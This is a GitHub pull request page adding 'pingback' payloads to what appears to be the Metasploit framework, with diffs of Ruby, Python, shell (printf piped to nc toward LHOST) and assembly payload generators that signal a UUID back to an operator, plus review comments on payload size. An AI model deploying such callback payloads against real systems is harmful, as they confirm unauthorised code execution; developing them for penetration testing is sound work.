Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Pingback Payloads #12129

Merged
merged 80 commits into from Jul 30, 2019
Merged
Changes from 2 commits
Commits
Show all changes
80 commits
Select commit Hold shift + click to select a range
47ee86a
WIP: REST API for async-callbacks
asoto-r7 Mar 19, 2019
a1b5136
Bring pingback-payload changes into public framework
asoto-r7 Mar 19, 2019
353e8e6
WIP: Remove PUT and DELETE endpoints
asoto-r7 Mar 19, 2019
67d3bf5
WIP: REST API for async-callbacks, added UUID search
asoto-r7 Mar 19, 2019
542bf00
REST API for async-callbacks, removed array datatypes, cleaned up Swa…
asoto-r7 Mar 19, 2019
f0f45d9
Maybe stage the new files, too
bwatters-r7 Apr 8, 2019
e798a0d
Add pingback changes
bwatters-r7 Apr 10, 2019
4ca6c35
Add new files
bwatters-r7 Apr 10, 2019
cc69fa2
Let's try it as a single this time....
bwatters-r7 Apr 16, 2019
9805a14
Add support for pingback as a single and session...
bwatters-r7 Apr 22, 2019
d626e56
Updated to have a handler
bwatters-r7 Apr 23, 2019
5202a85
Use nonvolitile register for the counter
bwatters-r7 Apr 23, 2019
1b64b9f
Fix odd edge case converting binary to hex string
bwatters-r7 Apr 23, 2019
3b54fb3
Record UUID upon reverse_tcp_pingback generation and callback
asoto-r7 Apr 30, 2019
6d6b339
Record UUID upon pingback_reverse_tcp generation and callback
asoto-r7 Apr 30, 2019
8c6f2d9
Enable database support in msfvenom to allow for saving UUIDs
asoto-r7 Apr 30, 2019
f4fa70d
Add error handling for users without a database configured
asoto-r7 Apr 30, 2019
247f246
Linux pingback payloads
asoto-r7 May 13, 2019
94c6ee3
Python pingback payload (bind only)
asoto-r7 May 13, 2019
8991392
Remove 'workspace' option from Mdm::Payload.create
asoto-r7 May 16, 2019
1d45c3a
python pingback_bind_tcp: send UUID as raw bytes instead of ASCII
asoto-r7 May 16, 2019
4241d33
Python pingback payload (reverse only)
asoto-r7 May 16, 2019
be011da
Ruby pingback payload (bind and reverse)
asoto-r7 May 17, 2019
e51e271
Remove extra stuff that was part of the staged attempt at pingback.
bwatters-r7 May 20, 2019
c866e0a
First swing at x86 windows reverse_tcp pingback
bwatters-r7 May 21, 2019
9989c73
That's better.....
bwatters-r7 May 22, 2019
58f3a06
cmd/unix/pingback_reverse and cmd/unix/pingback_bind
asoto-r7 May 26, 2019
79c45a6
Clean up `require`'s and calculate CachedSize
asoto-r7 May 26, 2019
92fa8f4
Clean up `require`s and `include`s
asoto-r7 May 26, 2019
cb270cd
WIP: Adding default pingback payload to parent check method
asoto-r7 May 26, 2019
e1e75d8
Code deduplication
bwatters-r7 May 28, 2019
2a242d9
Add the new file
bwatters-r7 May 29, 2019
f7f7e96
Hold off on venom changes for a new PR
bwatters-r7 May 30, 2019
08a765d
Shut up, nmsftidy.... I hope
bwatters-r7 May 30, 2019
3e76509
Fix some spacing
bwatters-r7 May 30, 2019
39f193e
Stupid last trailing space
bwatters-r7 May 30, 2019
33513bd
Undo changes to windows/bind_tcp
bwatters-r7 May 31, 2019
7778ada
Remove workspace reference in async_callback database table
asoto-r7 Jun 4, 2019
8f0aaa7
cmd/unix/pingback_* payloads now use 'printf' in place of 'echo'
asoto-r7 Jun 4, 2019
374b56d
Should not have changed reverse_tcp.rb
bwatters-r7 Jun 4, 2019
5344746
Remove a left-over 'pry' debugger invocation
asoto-r7 Jun 4, 2019
398a5dc
Reset send_uuid because it should not have been changed
bwatters-r7 Jun 10, 2019
a12f9a5
Revert f162822
asoto-r7 Jun 11, 2019
949b356
Update the session to die after callback
bwatters-r7 Jun 13, 2019
f098a83
Stupid pry...
bwatters-r7 Jun 13, 2019
88213f1
Pingback: Addressed some comments and suggestions
asoto-r7 Jun 26, 2019
9b6d458
cmd/unix/pingback_bind: Add resiliency to netcat, per wvu's suggestion
asoto-r7 Jun 27, 2019
72977e6
pingback: Removing seemingly unnecessary 'generate_raw' method
asoto-r7 Jun 27, 2019
26257fa
Updated json_to_mdm_object() calls, removing third parameter
asoto-r7 Jun 28, 2019
14039b1
Correctly fixed json_to_mdm_object (thanks @mkienow-r7 for the catch)!
asoto-r7 Jun 28, 2019
80dbef2
Follow acammack's guidance for excluding filedropped exploits
bwatters-r7 Jul 11, 2019
310533f
First stab at filtering payloads that require cleanup
bwatters-r7 Jul 17, 2019
6ae3f97
Maybe include the super pingback type in the payloads?
bwatters-r7 Jul 17, 2019
7c2d214
Clean up debugging, move options to one place and delete superflous file
bwatters-r7 Jul 18, 2019
e1ba4bd
delete extra file
bwatters-r7 Jul 18, 2019
2aadd63
Fix printing in session handler while I'm at it...
bwatters-r7 Jul 18, 2019
b0d602e
Added autoload entries for AsyncCallback
asoto-r7 Jul 19, 2019
af28534
Copy-pasta badness
asoto-r7 Jul 19, 2019
68f7ece
Removed superfluous assignment and populated datastore with pingback_…
bwatters-r7 Jul 22, 2019
3536e8a
Remove extra assignments elsewhere
bwatters-r7 Jul 22, 2019
7a8090c
Fix variable name
bwatters-r7 Jul 22, 2019
9ed8aa9
update the read/write for pingback data
bwatters-r7 Jul 24, 2019
8af6cad
fix copy/pasta error on payload data read
bwatters-r7 Jul 24, 2019
cd4ba13
Unpry
bwatters-r7 Jul 24, 2019
4a59c1b
Other pry...
bwatters-r7 Jul 24, 2019
e710c93
Remove async callback stuff for later work and change db checks
bwatters-r7 Jul 25, 2019
93f8d94
Changes to venom to handle pingbacks and really delete extra files, t…
bwatters-r7 Jul 25, 2019
463c147
fix method check in metadata updates
busterb Jul 26, 2019
2f804fa
Rubocop and @acammack cleanup suggestions
bwatters-r7 Jul 26, 2019
79b7bbd
Update payload cache size and fix import bug
bwatters-r7 Jul 26, 2019
cec29c6
More fixes for syntax
bwatters-r7 Jul 26, 2019
bd6a0c8
Remove workspace reqs from remote db payloads
acammack-r7 Jul 26, 2019
6bf10e1
Fixups for syntax
bwatters-r7 Jul 29, 2019
d6dc397
Fix bugs introduced by syntax changes.
bwatters-r7 Jul 29, 2019
05ffa6e
More updates, optimizations, and style fixes
bwatters-r7 Jul 29, 2019
79e17d0
Remove unsupported options
bwatters-r7 Jul 30, 2019
3cb1b45
Golf Python payload variable names
acammack-r7 Jul 30, 2019
e6ea0c9
Use binascii for Python pingback UUID encoding
acammack-r7 Jul 30, 2019
23ea772
Golf Ruby pingback payload syntax
acammack-r7 Jul 30, 2019
517d32b
Update payload cache sizes
acammack-r7 Jul 30, 2019
File filter...
Filter file types
Jump to…
Jump to file or symbol
Failed to load files and symbols.

Always

Just for now

@@ -50,32 +50,30 @@ def cleanup

def uuid_read
uuid_raw = rstream.get_once(16, 1)
if uuid_raw
self.uuid_string = uuid_raw.each_byte.map { |b| "%02x" % b.to_i() }.join
print_status("Incoming UUID = #{uuid_string}")
if framework.db.active
begin
payload = framework.db.payloads(uuid: uuid_string).first
if payload.nil?
print_warning("Provided UUID (#{uuid_string}) was not found in database!")
else
print_good("UUID identified (#{uuid_string})")
end
rescue ActiveRecord::ConnectionNotEstablished
print_status("WARNING: UUID verification and logging is not available, because the database is not active.")
rescue => e
# TODO: Can we have a more specific exception handler?
# Test: what if we send no bytes back? What if we send less than 16 bytes? Or more than?
elog("Can't get original UUID")
elog("Exception Class: #{e.class.name}")
elog("Exception Message: #{e.message}")
elog("Exception Backtrace: #{e.backtrace}")
return nil unless uuid_raw
self.uuid_string = uuid_raw.each_byte.map { |b| "%02x" % b.to_i() }.join
print_status("Incoming UUID = #{uuid_string}")
if framework.db.active
begin
payload = framework.db.payloads(uuid: uuid_string).first
if payload.nil?
print_warning("Provided UUID (#{uuid_string}) was not found in database!")
else
print_good("UUID identified (#{uuid_string})")
end
else
print_warning("WARNING: UUID verification and logging is not available, because the database is not active.")
rescue ActiveRecord::ConnectionNotEstablished
print_status("WARNING: UUID verification and logging is not available, because the database is not active.")
rescue => e
# TODO: Can we have a more specific exception handler?
# Test: what if we send no bytes back? What if we send less than 16 bytes? Or more than?
elog("Can't get original UUID")
elog("Exception Class: #{e.class.name}")
elog("Exception Message: #{e.message}")
elog("Exception Backtrace: #{e.backtrace}")
end
else
print_warning("WARNING: UUID verification and logging is not available, because the database is not active.")
end
nil
end

#
@@ -16,12 +16,13 @@ module Msf::Payload::Pingback
# Generate a Pingback UUID and write it to the database
def generate_pingback_uuid
self.pingback_uuid ||= SecureRandom.uuid()
self.pingback_uuid.to_s.gsub!("-", "")
datastore['PingbackUUID'] = self.pingback_uuid
vprint_status("PingbackUUID = #{datastore['PingbackUUID'].gsub('-', '')}")
vprint_status("PingbackUUID = #{datastore['PingbackUUID']}")
if framework.db.active
vprint_status("Writing UUID #{datastore['PingbackUUID'].gsub('-', '')} to database...")
vprint_status("Writing UUID #{datastore['PingbackUUID']} to database...")
framework.db.create_payload(name: datastore['PayloadUUIDName'],
uuid: datastore['PingbackUUID'].gsub('-', ''),
uuid: datastore['PingbackUUID'],
description: 'pingback',
platform: platform.platforms.first.realname.downcase)
else
@@ -37,14 +37,16 @@ def initialize(info = {})
# Constructs the payload
#
def generate
return super + command_string
parent = super
return command_string if parent.nil?
This conversation was marked as resolved by acammack-r7

This comment has been minimized.

Copy link
@acammack-r7

acammack-r7 Jul 29, 2019

Contributor

Guarding against a nil super is better as:

super.to_s + command_string

since nil.to_s is the empty string.

super + command_string
end

#
# Returns the command string to use for execution
#
def command_string
pingback_uuid ||= generate_pingback_uuid
"printf '#{pingback_uuid.gsub('-', '').scan(/../).map { |x| "\\x" + x }.join}' | (nc -lp #{datastore['LPORT']} || nc -l #{datastore['LPORT']})"
self.pingback_uuid ||= self.generate_pingback_uuid
"printf '#{pingback_uuid.scan(/../).map { |x| "\\x" + x }.join}' | (nc -lp #{datastore['LPORT']} || nc -l #{datastore['LPORT']})"
end
end
@@ -37,14 +37,16 @@ def initialize(info = {})
# Constructs the payload
#
def generate
return super + command_string
parent = super
return command_string if parent.nil?
This conversation was marked as resolved by acammack-r7

This comment has been minimized.

Copy link
@acammack-r7
super + command_string
end

#
# Returns the command string to use for execution
#
def command_string
pingback_uuid ||= generate_pingback_uuid
"printf '#{pingback_uuid.gsub('-', '').scan(/../).map { |x| "\\x" + x }.join}' | nc #{datastore['LHOST']} #{datastore['LPORT']}"
self.pingback_uuid ||= self.generate_pingback_uuid
"printf '#{pingback_uuid.scan(/../).map { |x| "\\x" + x }.join}' | nc #{datastore['LHOST']} #{datastore['LPORT']}"
end
end
@@ -34,10 +34,8 @@ def generate_stage
encoded_port = [datastore['LPORT'].to_i,2].pack("vn").unpack("N").first
encoded_host = Rex::Socket.addr_aton("0.0.0.0").unpack("V").first
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
pingback_uuid ||= generate_pingback_uuid
uuid_as_db = "0x" + pingback_uuid.to_s.gsub("-", "").chars.each_slice(2).map(&:join).join(",0x")
seconds = 5.0
sleep_nanoseconds = (seconds % 1 * 1000000000).to_i
self.pingback_uuid ||= self.generate_pingback_uuid
uuid_as_db = "0x" + pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")

asm = %Q^
push rsi
@@ -36,11 +36,11 @@ def generate_stage
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max

pingback_uuid ||= generate_pingback_uuid
uuid_as_db = "0x" + pingback_uuid.to_s.gsub("-", "").chars.each_slice(2).map(&:join).join(",0x")
self.pingback_uuid ||= self.generate_pingback_uuid
uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
seconds = 5.0
sleep_seconds = seconds.to_i
sleep_nanoseconds = (seconds % 1 * 1000000000).to_i
sleep_nanoseconds = (seconds % 1 * 1_000_000_000).to_i

asm = %Q^
push #{retry_count} ; retry counter
@@ -27,30 +27,22 @@ def initialize(info = {})
end

def generate
super + command_string
command_string
end

def command_string
self.pingback_uuid ||= self.generate_pingback_uuid

cmd = "import socket as s\n"
cmd << "so=s.socket(s.AF_INET,s.SOCK_STREAM)\n"
cmd << "try:\n"
cmd << " so.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1)\n"
cmd << " so.bind(('0.0.0.0',#{ datastore['LPORT']}))\n"
cmd << " so.listen(1)\n"
cmd << " so,addr=so.accept()\n"
cmd << " so.send('#{self.pingback_uuid.gsub('-','')}'.decode('hex'))\n"
cmd << " so.close()\n"
cmd << "except:\n"
cmd << " pass\n"

cmd
end

def include_send_pingback
true
cmd = <<~PYTHON
import socket as s
so=s.socket(s.AF_INET,s.SOCK_STREAM)
try:
so.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1)
This conversation was marked as resolved by acammack-r7

This comment has been minimized.

Copy link
@acammack-r7

acammack-r7 Jul 29, 2019

Contributor

I think these were originally single-space indented to save some space. I don't care that much, but I think the payload size will need to be updated.

so.bind(('0.0.0.0', #{ datastore['LPORT']}))
so.listen(1)
so,addr=so.accept()
so.send('#{self.pingback_uuid}'.decode('hex'))
so.close()
except:
pass
PYTHON
end
end


@@ -27,20 +27,21 @@ def initialize(info = {})
end

def generate
return command_string if super.nil?
This conversation was marked as resolved by acammack-r7

This comment has been minimized.

Copy link
@acammack-r7
super + command_string
end

def command_string
self.pingback_uuid ||= generate_pingback_uuid

cmd = "import socket as s\n"
cmd << "so=s.socket(s.AF_INET,s.SOCK_STREAM)\n"
cmd << "try:\n"
cmd << " so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))\n"
cmd << " so.send('#{self.pingback_uuid.gsub('-', '')}'.decode('hex'))\n"
cmd << " so.close()\n"
cmd << "except:\n"
cmd << " pass\n"
cmd
self.pingback_uuid ||= self.generate_pingback_uuid
cmd = <<~PYTHON
import socket as s
This conversation was marked as resolved by acammack-r7

This comment has been minimized.

Copy link
@acammack-r7
so=s.socket(s.AF_INET,s.SOCK_STREAM)
try:
so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
so.send('#{self.pingback_uuid}'.decode('hex'))
so.close()
except:
pass
PYTHON
end
end
@@ -34,17 +34,14 @@ def generate

def ruby_string
self.pingback_uuid ||= self.generate_pingback_uuid

return "require 'socket';"+
"s=TCPServer.new(#{datastore['LPORT'].to_i});"+
"c=s.accept;"+
"s.close;"+
"c.puts(\'#{self.pingback_uuid.gsub('-','')}\'.scan(/../).map { |x| x.hex.chr }.join);"+
"c.close"
end

def include_send_pingback
true
ruby_code = <<~RUBY
This conversation was marked as resolved by acammack-r7

This comment has been minimized.

Copy link
@acammack-r7

acammack-r7 Jul 29, 2019

Contributor

Using the squiggly heredoc here adds extra newlines which the original payload was able to omit. Since this is a payload, style of the contents doesn't matter as much as finished size.

require 'socket'
s = TCPServer.new(#{datastore['LPORT'].to_i})
c = s.accept
s.close
c.puts('#{self.pingback_uuid}'.scan(/../).map { |x| x.hex.chr }.join)
c.close
RUBY
end
end

@@ -33,14 +33,15 @@ def generate
end

def ruby_string
self.pingback_uuid ||= generate_pingback_uuid

self.pingback_uuid ||= self.generate_pingback_uuid
lhost = datastore['LHOST']
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)

return "require 'socket';" \
"c=TCPSocket.new(\"#{lhost}\", #{datastore['LPORT'].to_i});" \
"c.puts(\'#{self.pingback_uuid.gsub('-', '')}\'.scan(/../).map { |x| x.hex.chr }.join);" \
"c.close"
ruby_code = <<~RUBY
This conversation was marked as resolved by acammack-r7

This comment has been minimized.

Copy link
@acammack-r7

acammack-r7 Jul 29, 2019

Contributor

Using the squiggly heredoc here adds extra newlines which the original payload was able to omit. Since this is a payload, style of the contents doesn't matter as much as finished size.

require 'socket'
c=TCPSocket.new("#{lhost}", #{datastore['LPORT'].to_i})
c.puts('#{self.pingback_uuid}'.scan(/../).map { |x| x.hex.chr }.join)
c.close
RUBY
end
end
@@ -35,7 +35,7 @@ def generate_stage
encoded_host = Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
self.pingback_uuid ||= self.generate_pingback_uuid
uuid_as_db = "0x" + self.pingback_uuid.to_s.gsub("-", "").chars.each_slice(2).map(&:join).join(",0x")
uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
addr_fam = 2
sockaddr_size = 16

@@ -35,8 +35,8 @@ def generate_stage
retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
pingback_count = datastore['PingbackRetries']
pingback_sleep = datastore['PingbackSleep']
self.pingback_uuid ||= generate_pingback_uuid
uuid_as_db = "0x" + self.pingback_uuid.to_s.gsub("-", "").chars.each_slice(2).map(&:join).join(",0x")
self.pingback_uuid ||= self.generate_pingback_uuid
uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")

asm = %Q^
cld ; Clear the direction flag.
@@ -36,8 +36,8 @@ def generate_stage
retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
pingback_count = datastore['PingbackRetries']
pingback_sleep = datastore['PingbackSleep']
self.pingback_uuid ||= generate_pingback_uuid
uuid_as_db = "0x" + self.pingback_uuid.to_s.gsub("-", "").chars.each_slice(2).map(&:join).join(",0x")
self.pingback_uuid ||= self.generate_pingback_uuid
uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")

asm = %Q^
cld ; Clear the direction flag.
ProTip! Use n and p to navigate between commits in a pull request.
You can’t perform that action at this time.